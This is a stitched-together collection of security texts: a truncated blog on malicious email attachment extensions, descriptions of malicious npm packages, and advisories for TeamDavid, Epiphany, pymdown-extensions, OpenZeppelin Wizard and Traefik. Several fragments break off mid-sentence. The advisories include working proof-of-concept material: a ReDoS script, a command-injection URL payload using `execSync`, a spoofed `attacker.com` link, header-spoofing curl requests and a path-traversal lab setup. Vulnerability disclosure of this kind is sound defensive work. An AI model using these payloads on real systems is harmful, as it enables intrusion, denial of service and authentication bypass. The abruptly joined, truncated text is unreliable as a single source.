Search: h-w-g.com

Have you ever tried to open an “encrypted” email or an urgent document, only to realize with horror that your usual DOCX attachment is actually a file with the extension .docx.exe? Or maybe you received an email supposedly with an invoice, contract, or internal memo attached — only for the file to prove something entirely different from what it claimed to be? If so, you were likely targeted in a malware infection attempt. Cybercriminals routinely disguise malicious files as harmless documents and archives, banking on recipients blindly clicking without checking the extension. Kaspersky experts analyzed the file formats most frequently deployed in malicious email blasts to reveal what really lurks behind these extensions — and how attackers weaponize them in their campaigns. Important note: the extensions we’ll be discussing here are routinely used for completely legitimate files. For example, Windows executables normally end in .exe. However, we’re focusing specifically on scenarios where attackers disguise or spoof a file’s extension to pass it off as a totally different type of file. What extensions are most commonly found in malware? Our experts analyzed malicious email blasts from the beginning of 2026 to pinpoint the 15 most common dangerous file extensions. .exe .js .html .dll .bat .vbs .xls .pdf .jse .au3 .docx .htm .wsf .scr .lnk The top 15 file extensions used in malicious email blasts Let’s take a look at what files with these extensions actually do under the hood. Executable files An executable file is a compiled computer program that’s ready to run. Once launched, a malicious executable can download additional payloads, alter system settings, steal user data, connect your device to external attacker-controlled servers, and much more. These are the most common executable extensions found in malicious email campaigns: .exe .dll .com .scr .exe The classic Windows executable extension. It powers every program you use daily, from web browsers and games to office suites and software installers. By the way, attackers often wrap EXE malware in double extensions: invoice.docx.exe, report.pdf.exe, or even photo.jpg.exe. They take advantage of a default Windows setting: hiding extensions for known file types. Because this setting is turned on by default, users only see the first part of the file name — invoice.docx, report.pdf, or photo.jpg — and assume it’s just a normal document or image. But the second you open this trap file, the malware fires up. .dll Another common extension abused in malicious campaigns is .dll (dynamic-link library). These libraries hold functions that Windows programs frequently require while running, such as printing a document. This modular architecture prevents redundant code by letting multiple applications call on the exact same library for specific tasks. However, if an attacker replaces a legitimate library with an infected one, running any normal program that calls on it can trigger malicious code. .com While files with the .com extension have absolutely nothing to do with the web domain of the same name, cybercriminals likely count on victims mistaking these files for links in an unusual format. In reality, it’s a legacy Windows executable format. While modern versions of Windows no longer rely on this file type, the operating system can still run and execute it, which makes opening one a very bad idea. .scr SCR files are screensavers — those idle Windows screen animations featuring abstract patterns, the iconic bouncing logo, or whatever else. Despite their harmless reputation, screensavers are essentially executables just like EXE files: once opened, they can install extra components or alter system settings all the same. In malicious campaigns, these files routinely masquerade as images, screenshots, or documents. Scripts Scripts are text files containing a sequence of commands that a computer runs automatically in order. They can download files, install and launch programs, modify securi…

The Webbox of TeamDavid by Tobit Laboratories AG constructs redirect URLs using user-supplied input, which is appended to the redirect target in a 302 HTTP response. By using URL-encoded characters such as “%2e” (representing a dot), an attacker can manipulate the portion of the URL following the top-level domain (TLD). If a similar, registerable TLD exists (for example, if “.com” is the application’s domain, and “.company” is available for registration), an attacker can craft a URL to redirect users to a malicious “.company” domain. By using URL-encoded line feeds, it becomes possible to insert arbitrary response headers in the server's HTTP response. This issue affects TeamDavid before Rollout 528. Starting with Rollout 528 (June 30, 2026), the affected functionality is disabled by default and the vulnerabilities are therefore no longer exposed through this functionality.

A flaw was found in Epiphany. An issue in how the browser reads web addresses allows attackers to fake the domain name shown in the address bar. If a user clicks a specially crafted link containing a colon (for example, [https://trusted.com:80@attacker.com/](https://trusted.com:80@attacker.com/)), the address bar and security menus will display the safe website (trusted.com) but it will actually load the attacker website (attacker.com) on the screen. This allows attackers to create convincing phishing pages to trick users into trusting a malicious site.

To determine the support lifecycle for your software, see the Microsoft Support Lifecycle: https://support.microsoft.com/lifecycle

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (65aa3700b74bc0d50e4a4ee4fb3b903af0ac2ebea5867a3d1ffd0876647ec2a1) Package advertises itself as a 2048-style grid game statistics utility, but its declared postinstall hook (`node install-cb.js`) executes on `npm install` and performs behavior unrelated to that purpose. The postinstall shells out via execSync to run `uname -a` and `id`, reads `/proc/1/cgroup` and `/proc/mounts`, inspects Linux capabilities, checks for `/var/run/docker.sock`, and reads the Kubernetes service-account token and namespace at `/var/run/secrets/kubernetes.io/serviceaccount/`. It also enumerates `/`, `/root`, `/root/projects`, performs a host write-test, inspects network configuration, and greps the process environment for variables matching `token|secret|key|password|db_|redis|s3` and related patterns. The collected data (including the k8s SA token length and env keys) is written to `NCODE_ESCAPE.txt` in the current working directory and two parent directories. Author metadata is placeholder-shaped (`merge-tools <merge-tools@example.com>`) and the README/behavior mismatch indicates a cover-story shape. The install-time read of an installer-owned Kubernetes service-account token plus environment secret enumeration constitutes installer-side credential access and container-escape reconnaissance staging.

### Summary Four inline processors in pymdown-extensions contain regular expressions with exponential backtracking. A single untrusted Markdown line under 50 bytes drives `markdown.markdown()` into unbounded CPU on the rendering thread (seconds at ~45 bytes, growing exponentially with each added character). All four fire in the extension's **default configuration** and are reachable through the documented public API. The `caret`/`tilde`/ `betterem` blow-up was introduced by the emphasis-pattern rewrite in PR #2547 (first released in **10.13**, Dec 2024) — earlier releases used a linear `(.+?)` / `([^\s]+?)` content group — and is present through **11.0** (latest); `magiclink`'s host pattern is long-standing and affects effectively all releases. Likely **CWE-1333 (Inefficient Regular Expression Complexity)**. This is a distinct issue from CVE-2025-68142 (ReDoS in `pymdownx.blocks.caption`, `RE_FIG_NUM`, fixed in 10.16.1): different extensions, different regexes, and a different root cause (delimiter-run partition ambiguity rather than a `.`/`\.` typo). ### Details Four regexes share, or closely mirror, a vulnerable shape — an inner group that can partition a run of the delimiter character into `{2,}`-sized pieces in exponentially many ways, wrapped in a lazy `+?` that must fail before the engine can give up: | Extension | Regex | Location (`11.0`) | |---|---|---| | `pymdownx.caret` (superscript `^…^`) | `SUP2` | `pymdownx/caret.py:56` | | `pymdownx.tilde` (subscript `~…~`) | `SUB2` | `pymdownx/tilde.py:55` | | `pymdownx.betterem` (underscore `_…_`) | `SMART_UNDER_EM2` (default) | `pymdownx/betterem.py:93` | | `pymdownx.magiclink` (bare-URL autolink) | `RE_LINK` | `pymdownx/magiclink.py:56` (host at `:59`) | `pymdownx/caret.py:56` (`pymdown-extensions 11.0`): ```python SUP2 = r'(?<!\^)(\^)(?![\^\s])((?:[^\^\s]|\^{2,})+?)(?<![\^\s])(\^)(?!\^)' ``` The content group `(?:[^\^\s]|\^{2,})+?` matches a run of carets only via the `\^{2,}` branch. A run of *k* carets can be split into ≥2-length pieces in exponentially many combinations; when no caret can serve as a valid closing delimiter (the trailing `(?<![\^\s])(\^)` cannot be satisfied), the engine explores every partition before failing. `SUB2` (tilde) and `SMART_UNDER_EM2` (betterem) are the same construct for `~` and `_`. In `betterem` the default `smart_enable='underscore'` routes underscores to `SmartUnderscoreProcessor` → `SMART_UNDER_EM2` (`betterem.py:93`), which is the default-reachable, API-exploitable pattern; the non-smart `UNDER_EM2` (`:69`, used only when `smart_enable` is `asterisk`/`disable`) shares the shape but did not reproduce through the public `markdown.markdown()` pipeline on the tested payload, so a fix and regression test should target `SMART_UNDER_EM2`. `pymdownx/magiclink.py:59` has the analogous ambiguity in the host portion, where overlapping character classes let a run of dots be grouped exponentially: ```python (?:ht|f)tps?://[^_\W][-\w]*(?:\.[-\w.]+)* # host: '\.' and '[-\w.]' inside (?:...)* both match '.' ``` `SUP2`/`SUB2`/`SMART_UNDER_EM2` are applied at each delimiter occurrence via the default `PatternSequenceProcessor` subclasses (`pymdownx/util.py`); `RE_LINK` is applied by `MagiclinkPattern` (registered unconditionally at priority 85). In all four cases, rendering `markdown.markdown(src, extensions=[ext])` on untrusted `src` in default configuration is sufficient to reach the regex. ### PoC Single self-contained script; runs against the pinned release in an ephemeral env. Non-destructive — the input is ordinary Markdown text; the impact is CPU/time (a per-render alarm caps each attempt so the script terminates). ```python import signal import time from importlib.metadata import version import markdown print(f"# pymdown-extensions {version('pymdown-extensions')} / markdown {version('markdown')}") CAP = 5.0 # a single render exceeding this is treated as a hang class Timeout(Exception): pass def render(ext, text): signal.signal(signal.SIGALRM, lambda *_: (_ for _ in ()).throw(Timeout())) signal.setitimer(signal.ITIMER_REAL, CAP) t = time.perf_counter() try: markdown.markdown(text, extensions=[ext]) return time.perf_counter() - t except Timeout: return None finally: signal.setitimer(signal.ITIMER_REAL, 0) # ext -> (malicious builder, benign builder [valid & closed], ramp, hang count) CASES = { "pymdownx.caret": (lambda n: "^a" + "^" * n + "b", lambda n: "^" + "a" * n + "^", [24, 30, 36], 44), "pymdownx.tilde": (lambda n: "~a" + "~" * n + "b", lambda n: "~" + "a" * n + "~", [24, 30, 36], 44), "pymdownx.betterem": (lambda n: "_a" + "_" * n + "b", lambda n: "_" + "a" * n + "_", [24, 30, 36], 44), "pymdownx.magiclink": (lambda n: "http://a" + "." * n + " ", lambda n: "http://" + "a" * n + ".com ", [28, 32, 36], 40), } repro = [] for ext, (evil, benign, ramp, hang) in CASES.

OpenZeppelin Contracts Wizard is a web application to interactively build a contract out of components from OpenZeppelin Contracts. Versions prior to 0.10.9 generate a Hardhat test file (`test/test.ts`) by interpolating user-supplied `opts.name` (ERC20/ERC721) and `opts.uri` (ERC1155) directly into TypeScript string literals at `zip-hardhat.ts:48` and `:50` without any JavaScript string escaping. No authentication is required: an attacker crafts a URL such as `https[:]//wizard[.]openzeppelin[.]com/#/erc20?name=");require("child_process").execSync("...");("` and shares it with a developer. When the victim downloads the resulting zip archive and runs `npx hardhat test`, the injected Node.js code executes with the developer's local OS privileges. Version 0.10.9 fixes the issue.

The npm package 'squeez' versions 1.38.0, 1.40.0, 1.42.1, and 1.44.1 include a postinstall script that executes automatically during installation. This script performs reconnaissance on the user's home directory and fetches executable content from mutable URLs on raw.githubusercontent.com, which can change without a package update. The script has the capability to spawn child processes, creating a risk of executing remote, potentially malicious code at install time.

The npm package 'xdaxx' version 1.0.1 contains malicious code designed to perform a targeted browser-side account takeover attack against the website noviembrenacional.com. When a logged-in victim visits the site with the payload loaded, it abuses the victim's authenticated session to delete other users' accounts via WordPress/BuddyPress endpoints. If the victim is the administrator, the payload changes the administrator's email and triggers a password reset, completing full account takeover. The malicious code is delivered in two forms: a cleartext script and an obfuscated script. The package itself does not execute the payload upon installation or import, indicating it is used as a hosting/distribution mechanism for this targeted attack tool.

The npm package 'xxdxax' versions 1.0.0 and 1.0.1 contains obfuscated malicious code designed to execute only in a browser environment when loaded on a specific WordPress site (noviembrenacional.com). The code exfiltrates page HTML and authenticated session data to a hardcoded external endpoint, then abuses the victim's WordPress session to delete other users' accounts or hijack the target account by changing its email and triggering a password reset. The payload is concealed using unicode escapes and string reversal techniques. This package is not a general-purpose library but a targeted offensive tool for account takeover on a specific WordPress site. Installing the package does not trigger the payload in Node.js environments, as it relies on browser APIs and site-specific conditions.

## Summary There is a high severity vulnerability in Traefik's BasicAuth, DigestAuth, and ForwardAuth middlewares. The fix for CVE-2026-33433 stripped canonical-cased spoofed identity headers (e.g. `X-Auth-User`) before writing Traefik's own value, but did not account for underscore-variant header names (e.g. `X_Auth_User`), which many backends normalize identically to the dashed form. An attacker able to reach a protected route could inject an underscore-variant header that survives Traefik's stripping and reaches the backend alongside — or, on the unauthenticated ForwardAuth `authResponseHeaders` path, instead of — the value Traefik intended to set, spoofing identity or authorization context. This is fixed by setting the new `allowHeadersWithUnderscores: false` entry point option, which strips all headers with underscores in their names before routing. ## Patches - https://github.com/traefik/traefik/releases/tag/v2.11.51 - https://github.com/traefik/traefik/releases/tag/v3.6.22 - https://github.com/traefik/traefik/releases/tag/v3.7.6 ## For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> # Incomplete fix for CVE-2026-33433 + CVE-2026-39858 cross-cohort: `headerField` underscore-variant identity spoofing in BasicAuth / DigestAuth / ForwardAuth ## Summary The fix for CVE-2026-33433 (GHSA-qr99-7898-vr7c, "BasicAuth/DigestAuth Identity Spoofing via Non-Canonical headerField", patched in v2.11.42 / v3.6.12 / v3.7.0-ea.3) added `req.Header.Del(headerField)` before the literal-key writeback in `pkg/middlewares/auth/basic_auth.go` and `pkg/middlewares/auth/digest_auth.go`. Go's `Header.Del` calls `textproto.CanonicalMIMEHeaderKey` which canonicalizes ASCII CASE and treats `-` as a word separator — so the fix correctly strips canonical-cased attacker headers (`X-Auth-User`, `x-auth-user`, `X-AUTH-USER`, etc.). However, `textproto.CanonicalMIMEHeaderKey` does **NOT** treat `_` as a separator. Attacker-supplied **underscore-variant** headers such as `X_Auth_User` survive `Header.Del("X-Auth-User")` intact and are forwarded to the backend alongside Traefik's own writeback. Many common backends (CGI/WSGI per RFC 3875, PHP `$_SERVER`, nginx with `underscores_in_headers on`, Tomcat / Java EE servlet containers, ASGI/WSGI frameworks) normalize `_` ↔ `-` equivalently or expose both forms to application code that may read the attacker's value. This is the **direct cross-cohort sibling** of the threat model the maintainer accepted in **CVE-2026-39858** (GHSA-5m6w-wvh7-57vm, "Forwarded alias spoofing pre-auth decision bypass"), which fixed the underscore-variant of the X-Forwarded-* family via `isManagedXHeader` in `pkg/middlewares/forwardedheaders/forwarded_header.go`. The CVE-2026-39858 advisory body states verbatim: > "When the backend normalizes underscore and dash header forms equivalently, an attacker can inject spoofed trust context — such as a trusted scheme or host — through the alias headers and bypass authentication on protected routes without valid credentials." The same threat model applies to the operator-configurable `headerField` (BasicAuth, DigestAuth) and `authResponseHeaders` (ForwardAuth, ingress-nginx snippet provider), but the underscore-handling primitive (`isManagedXHeader`) was not extended to those middlewares. I verified the bypass end-to-end on `traefik:v3.6.14` (the latest patched release containing both fixes) using a default-recommended canonical `headerField: "X-Auth-User"` config and reproduced the bypass with a single `curl -H "X_Auth_User: superadmin" ...` request alongside valid BasicAuth credentials. The defect is present in four code paths at HEAD `eec68dce064f843b4317c4393aaea81b6dea31d6`: 1. `pkg/middlewares/auth/basic_auth.go:101-105` — BasicAuth `headerField` 2. `pkg/middlewares/auth/digest_auth.go:99-103` — DigestAuth `headerField` 3. `pkg/middlewares/auth/forward.go:304-310` — ForwardAuth `authResponseHeaders` per-name writeback 4. `pkg/middlewares/ingressnginx/snippet/snippet.go:480-486` — Ingress-NGINX snippet `authResponseHeaders` per-name writeback The ForwardAuth instance (#3) is particularly notable: the attacker does NOT need credentials. The `authResponseHeaders` mechanism is intended to copy identity headers from the trusted auth server only; the underscore-variant bypass lets an unauthenticated attacker pre-inject the same identity header before any auth happens. The fast proxy at `pkg/proxy/fast/proxy.go:139` explicitly calls `DisableNormalizing()` on the outgoing fasthttp request, guaranteeing that the underscore-variant header reaches the backend wire verbatim. The standard `httputil.ReverseProxy` path at `pkg/proxy/httputil/proxy.go:55` likewise copies `req.Header` keys as-is during the wire write. ## Affected versions - `traefik` v3.6.x ≤ 3.6.14, v3.7.x ≤ 3.7.0-rc.2, v2.11.x ≤ 2.11.43, and all earlier vers

## Summary There is a critical authentication-bypass vulnerability in Traefik's `ReplacePathRegex` middleware. When it is configured with a regular expression that captures user-controlled path segments without a mandatory separator (for example `regex: "^/api(.*)"`, `replacement: "/$1"`), a crafted request can produce an un-normalized replacement path such as `/../admin`, which Traefik forwarded to the backend without validation. A backend that normalizes the path may resolve it to a protected route, letting an unauthenticated attacker reach resources located behind authentication middleware. This is the same class of issue that was fixed for `StripPrefix` in CVE-2026-48020; that post-replacement normalization check had not been applied to `ReplacePathRegex`. The fix rejects any request whose replaced path does not match its normalized form. ## Patches - https://github.com/traefik/traefik/releases/tag/v2.11.52 - https://github.com/traefik/traefik/releases/tag/v3.6.23 - https://github.com/traefik/traefik/releases/tag/v3.7.7 ## For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> ### Summary A path traversal vulnerability in the ReplacePathRegex middleware allows an unauthenticated remote attacker to bypass authentication middleware and access protected routes by sending a single crafted HTTP request. The vulnerability exists because ReplacePathRegex does not perform post-replacement path normalization validation - the same check added to StripPrefix in the fix for CVE-2026-48020 was not applied to ReplacePathRegex. ### Details When ReplacePathRegex is configured with a regex that captures user-controlled path segments without a mandatory path separator (e.g., `regex: "^/api(.*)"`, `replacement: "/$1"`), an attacker can inject implicit traversal sequences into the capture group. **Root cause:** `pkg/middlewares/replacepathregex/replace_path_regex.go`, function `ServeHTTP` (lines 56-74). After the regex substitution produces a new path, the middleware forwards it to the backend without checking whether the path normalizes differently - unlike StripPrefix which rejects such paths with HTTP 400 after the CVE-2026-48020 fix. **Attack flow:** 1. Attacker sends `GET /api../admin` 2. `sanitizePath` passes it unchanged (`api..` is a valid segment name, not a dot-segment) 3. Router matches `PathPrefix(/api)` → selects the public router (no auth middleware) 4. ReplacePathRegex applies `^/api(.*)` → captures `../admin` → replacement produces `/../admin` 5. No normalization check exists → path forwarded to backend as-is 6. Backend framework (Express, Flask, Django, Spring, ASP.NET) normalizes `/../admin` to `/admin` 7. Attacker receives protected content without authentication **Suggested fix:** Add the same JoinPath equality check after line 67: ```go if cleanPath := req.URL.JoinPath(); cleanPath.Path != req.URL.Path { http.Error(rw, http.StatusText(http.StatusBadRequest), http.StatusBadRequest) return } ``` ### PoC **Prerequisites:** Docker Engine 20.10+, Docker Compose v2, curl **1. Create `docker-compose.yml`:** ```yaml services: traefik: image: traefik:v3.7.6 command: - "--api.insecure=true" - "--providers.file.filename=/etc/traefik/dynamic.yml" - "--entrypoints.web.address=:80" ports: - "8080:8080" - "80:80" volumes: - ./dynamic.yml:/etc/traefik/dynamic.yml:ro healthcheck: test: ["CMD", "traefik", "healthcheck"] interval: 5s timeout: 3s retries: 5 backend: image: node:22-alpine working_dir: /app volumes: - ./server.js:/app/server.js:ro command: ["node", "server.js"] healthcheck: test: ["CMD", "wget", "-qO-", "http://localhost:3000/health"] interval: 5s timeout: 3s retries: 5 ``` **2. Create `dynamic.yml`:** ```yaml http: routers: public-api: rule: "PathPrefix(`/api`)" entryPoints: [web] middlewares: [rewrite-api] service: backend-svc priority: 1 protected-admin: rule: "PathPrefix(`/admin`)" entryPoints: [web] middlewares: [auth] service: backend-svc priority: 2 middlewares: rewrite-api: replacePathRegex: regex: "^/api(.*)" replacement: "/$1" auth: basicAuth: users: - "admin:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/" services: backend-svc: loadBalancer: servers: - url: "http://backend:3000" ``` **3. Create `server.js`:** ```javascript const http = require('http'); const path = require('path'); const server = http.createServer((req, res) => { const normalized = path.posix.normalize(req.url.split('?')[0]); res.setHeader('Content-Type', 'text/plain'); if (normalized === '/health') { res.writeHead(200); res.end('OK\n'); } else if (normalized === '/admin' || n

## Summary There is a medium severity vulnerability in Traefik's Kubernetes Gateway API provider. When two accepted HTTPRoutes target the same backend Service:port but configure different `backendRef` filters, Traefik may resolve both routes to the same child service and apply only one route's filter set to all requests reaching that backend. In Gateway deployments where `backendRef` filters set security-sensitive headers — such as tenant identity, authorization context, or values the backend trusts — an attacker who can create an accepted HTTPRoute sharing the same backend Service:port may cause their route's filter context to be applied to another route's requests, potentially crossing namespace boundaries when a `ReferenceGrant` permits cross-namespace targeting. ## Patches - https://github.com/traefik/traefik/releases/tag/v3.7.6 ## For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> # Traefik Gateway HTTPRoute backendRef filter context collision across routes sharing Service:port ## Summary Traefik's Kubernetes Gateway API provider builds the dynamic HTTP backend service key for a Gateway `HTTPRoute` backendRef from only the backend namespace, Service name, protocol, and port. It does not include the HTTPRoute, listener, rule, or backendRef filter identity in that key. When two accepted HTTPRoutes point to the same backend `Service:port` but define different backendRef filters, Traefik can make both route WRR services reference the same child service. The child service then carries only one backendRef filter set, so one route can send requests to the backend with another route's backend context. This is security-relevant when backendRef filters set, remove, or rewrite security-sensitive context, such as tenant, identity, auth, sanitization, Host, or path headers trusted by the backend. Credit: Qican Ma, Ding Luo @XiaoMi ShadowBlade Security Lab ## Suggested Severity Suggested severity: Medium/High, configuration-dependent. Suggested CVSS 3.1: ```text CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:H/A:N ``` Notes: - Requires Gateway API routes sharing the same backend Service:port with different security-sensitive backendRef filters trusted by the backend. - Cross-namespace impact is possible when route attachment and ReferenceGrant policy allow an attacker route to target the shared backend. - No RCE, memory corruption, or default-config exposure claimed. Suggested CWE: ```text CWE-863: Incorrect Authorization CWE-284: Improper Access Control ``` ## Affected Component ```text pkg/provider/kubernetes/gateway/httproute.go — loadService(), loadMiddlewares() ``` ## Tested Versions Confirmed on: ```text Traefik source snapshot: 29406d42898547f1ffabd904f66af06c212740cf on master ``` Earliest affected version not exhaustively determined. ## Root Cause `loadService` starts the dynamic service name from backend namespace and Service name only: ```go // pkg/provider/kubernetes/gateway/httproute.go:245 serviceName := provider.Normalize(namespace + "-" + string(backendRef.Name) + "-http") ``` It loads backendRef filters using that same service name before appending the backend port: ```go // pkg/provider/kubernetes/gateway/httproute.go:258 middlewares, err := p.loadMiddlewares(conf, namespace, serviceName, backendRef.Filters, pathMatch) ``` For normal Kubernetes Services, the final child service key appends only the port: ```go // pkg/provider/kubernetes/gateway/httproute.go:304-317 portStr := strconv.FormatInt(int64(port), 10) serviceName = provider.Normalize(serviceName + "-" + portStr) ... conf.HTTP.Services[serviceName] = &dynamic.Service{LoadBalancer: lb, Middlewares: middlewares} ``` Each route/rule WRR service references the child service by name. Later route configs are merged by map key (`maps.Copy`), so both route-local WRR services can point to the same child service, which retains only one of the route/backendRef filter configurations. ## Attack Scenario 1. Gateway listener with `allowedRoutes.namespaces.from: All`. 2. Victim `HTTPRoute` `route-a` in namespace `default` targets `default/whoami:80` with backendRef filter setting `X-Tenant: tenant-a`. 3. Attacker-controlled `HTTPRoute` `route-b` in namespace `attacker` targets `default/whoami:80` (via ReferenceGrant) with backendRef filter setting `X-Tenant: tenant-b`. 4. Both routes generate the same child service key: `default-whoami-http-80`. 5. The second route's filter configuration overwrites the first (or vice versa) via `maps.Copy`. 6. Backend receives both routes' requests with one tenant's header context. ## Proof of Concept A Go test harness injects provider-level and server-level tests into the Traefik checkout. The provider test confirms the generated dynamic configuration collision. The server test builds Traefik's runtime router/service/middleware pipeline and sends `h

## Summary There is a medium severity vulnerability in Traefik's Kubernetes CRD provider. When `providers.kubernetesCRD.allowCrossNamespace` is disabled — the default — cross-namespace `@kubernetescrd` references are rejected for middlewares, TLS options and HTTP/TCP ServersTransports, but the same restriction was not applied to `TraefikService` backend references resolved by the service resolver. A tenant confined by RBAC to a single namespace can therefore bind its own router to a `TraefikService` owned by another namespace and expose or reroute that namespace's backend, defeating the namespace isolation `allowCrossNamespace=false` is meant to enforce. Traefik v2 releases and the unmaintained v3 minor lines below v3.6 are affected and will not receive a patch on their own line; the remedy for those users is upgrading to a maintained, patched release. ## Patches - https://github.com/traefik/traefik/releases/tag/v2.11.54 - https://github.com/traefik/traefik/releases/tag/v3.6.25 - https://github.com/traefik/traefik/releases/tag/v3.7.10 ## For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> ### Summary When `providers.kubernetesCRD.allowCrossNamespace=false` (the default), Traefik correctly rejects cross-namespace `@kubernetescrd` references for middlewares, TLS options, and HTTP/TCP `ServersTransport`, but it does not apply the same restriction to service (`TraefikService`) backendRefs. As a result, a Kubernetes tenant who is confined by RBAC to their own namespace can bind their own router to a `TraefikService` owned by another namespace simply by referencing it as `<victim-namespace>-<name>@kubernetescrd`, defeating the namespace-isolation boundary that `allowCrossNamespace=false` is meant to enforce. This is the service-resolver sibling of the cross-namespace isolation family that Traefik has been fixing one resolver at a time (`df00d82f` / CVE-2026-41174 for Chain middlewares, and `67501cbe` for TCP `ServersTransport`, which shipped in v3.7.7 only four days before the analyzed commit). The `TraefikService` resolver in `configBuilder.nameAndService` was never given the guard its sibling resolvers received. ### Details ### Root cause `nameAndService` only performs the same-namespace check (`isNamespaceAllowed`) inside the branch that handles names without an `@` separator. For names that contain an `@` separator (that is, `@kubernetescrd` cross-namespace references) it applies only the `crossProviderNamespaces` allowlist check, and that check returns `true` by default because a `nil` allowlist means "unrestricted". It never applies the `!allowCrossNamespace && strings.HasSuffix(name, "@kubernetescrd")` rejection that the sibling resolvers all apply, so `allowCrossNamespace=false` is effectively never consulted for `@kubernetescrd` service references. ### Vulnerable code ```go // pkg/provider/kubernetes/crd/kubernetes_http.go:662-695 — nameAndService (VULNERABLE) func (c configBuilder) nameAndService(ctx context.Context, parentNamespace string, service traefikv1alpha1.LoadBalancerSpec) (string, *dynamic.Service, error) { svcCtx := log.Ctx(ctx).With().Str(logs.ServiceName, service.Name).Logger().WithContext(ctx) if !strings.Contains(service.Name, providerNamespaceSeparator) { // 665: only names WITHOUT "@" service = *service.DeepCopy() service.Namespace = namespaceOrParentNamespace(service.Namespace, parentNamespace) if !isNamespaceAllowed(c.allowCrossNamespace, parentNamespace, service.Namespace) { // 669 return "", nil, fmt.Errorf("service %s/%s not in the parent resource namespace %s", ...) } } // 674: for "@"-names, the ONLY gate is crossProviderNamespaces, which defaults to allow-all (nil). if !isCrossProviderNamespaceAllowed(c.crossProviderNamespaces, parentNamespace) && strings.Contains(service.Name, providerNamespaceSeparator) { return "", nil, fmt.Errorf("service %q reference is not allowed: ...", service.Name) } // ^-- MISSING: no `!c.allowCrossNamespace && strings.HasSuffix(service.Name, "@"+ProviderName)` rejection. switch service.Kind { case "TraefikService": return fullServiceName(svcCtx, service, intstr.FromInt(0)), nil, nil // 690: returns the cross-namespace reference ... } } ``` For comparison, the sibling resolver used for middleware and TLS references does carry the guard: ```go // pkg/provider/kubernetes/crd/kubernetes.go:1653-1668 — resolveReference (CORRECT) func resolveReference(ctx context.Context, parentNs, ns, name string, crossProviderNamespaces []string, allowCrossNamespace bool) (string, error) { if strings.Contains(name, providerNamespaceSeparator) { if !allowCrossNamespace && strings.HasSuffix(name, providerNamespaceSeparator+ProviderName) { return "", errors.New("when allowCrossNamespace is disabled, @kubernetescrd references are disallowed") // 1656 — THE GUARD } ... } ... } ```

## Summary There is a medium severity vulnerability in Traefik's ForwardAuth middleware. Even when configured with `trustForwardHeader: false`, Traefik derives the `X-Forwarded-Port` header sent to the authentication service from the original incoming request instead of the sanitized forwarded request. As a result, an unauthenticated remote attacker can inject an `X-Forwarded-Proto: https` header over a plain HTTP connection and cause Traefik to forward `X-Forwarded-Port: 443` to the auth service, bypassing port-based authorization checks. This is a regression of the incomplete fix for GHSA-6384-m2mw-rf54, which addressed the `X-Forwarded-Proto` and `X-Forwarded-Prefix` spoofing vectors but missed the `X-Forwarded-Port` vector. ## Patches - https://github.com/traefik/traefik/releases/tag/v2.11.51 - https://github.com/traefik/traefik/releases/tag/v3.6.22 - https://github.com/traefik/traefik/releases/tag/v3.7.6 ## For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> ### Summary The ForwardAuth middleware, even when configured with `trustForwardHeader: false`, still derives the `X-Forwarded-Port` header sent to the authentication service by reading the **attacker-controlled** `X-Forwarded-Proto` header from the original incoming request. This allows an unauthenticated remote attacker to cause Traefik to forward `X-Forwarded-Port: 443` to the auth service on a plain HTTP connection, creating an inconsistency that can bypass port-based authorization checks. ### Details The fix introduced in commit `5e1de2258` (released as part of the April 2026 security advisory GHSA-6384-m2mw-rf54) correctly strips all X-Forwarded-* headers from the forwarded auth request when `trustForwardHeader=false`, and reconstructs `X-Forwarded-Proto` from the actual TLS state of the connection (`req.TLS`). However, the reconstruction of `X-Forwarded-Port` is delegated to the helper `forwardedPort(req)` which receives the **original request** (`req`) rather than the sanitized forward request (`forwardReq`): ```go // pkg/middlewares/auth/forward.go – writeHeader() if !trustForwardHeader { forwardedheaders.DeleteXForwardedHeaders(forwardReq.Header) // strips all X-Fwd-* from forwardReq } // ... if _, ok := forwardReq.Header[forwardedheaders.XForwardedPort]; !ok { forwardReq.Header.Set(forwardedheaders.XForwardedPort, forwardedPort(req)) // ← req = ORIGINAL } // pkg/middlewares/auth/forward.go – forwardedPort() func forwardedPort(req *http.Request) string { if _, port, err := net.SplitHostPort(req.Host); err == nil && port != "" { return port } // Reads attacker-controlled header on the ORIGINAL request: if req.Header.Get(forwardedheaders.XForwardedProto) == "https" || ... { return "443" } if req.TLS != nil { return "443" } return "80" } Result when trustForwardHeader=false and attacker sends X-Forwarded-Proto: https on a plain HTTP connection: ┌──────────────────────────────────┬──────────┬────────┐ │ Header forwarded to auth service │ Expected │ Actual │ ├──────────────────────────────────┼──────────┼────────┤ │ X-Forwarded-Proto │ http │ http ✓ │ ├──────────────────────────────────┼──────────┼────────┤ │ X-Forwarded-Port │ 80 │ 443 ✗ │ └──────────────────────────────────┴──────────┴────────┘ ``` The inconsistency between Proto=http and Port=443 is exploitable against any authentication service that gates access based on X-Forwarded-Port. ### PoC Traefik configuration: ```http: middlewares: my-auth: forwardAuth: address: "http://auth-service/" trustForwardHeader: false # security setting, but still bypassable routers: api: rule: "PathPrefix(`/api`)" middlewares: - my-auth service: backend Auth service logic (example victim): # auth-service checks: only port 443 requests are considered "secure" port = request.headers.get("X-Forwarded-Port", "80") proto = request.headers.get("X-Forwarded-Proto", "http") if port == "443": return 200 # grant access return 403 ``` Attack: Plain HTTP connection, no TLS – but spoofs port 443 curl -H "X-Forwarded-Proto: https" http://traefik.example.com/api/admin Auth service receives X-Forwarded-Port: 443 → grants access Verification: Enable Traefik debug logging and observe X-Forwarded-Port: 443 in the auth request while the connection is plain HTTP. ### Impact Any deployment using the ForwardAuth middleware with trustForwardHeader: false where the downstream authentication service uses X-Forwarded-Port to make authorization decisions is vulnerable to privilege escalation. An unauthenticated attacker can bypass port-based s

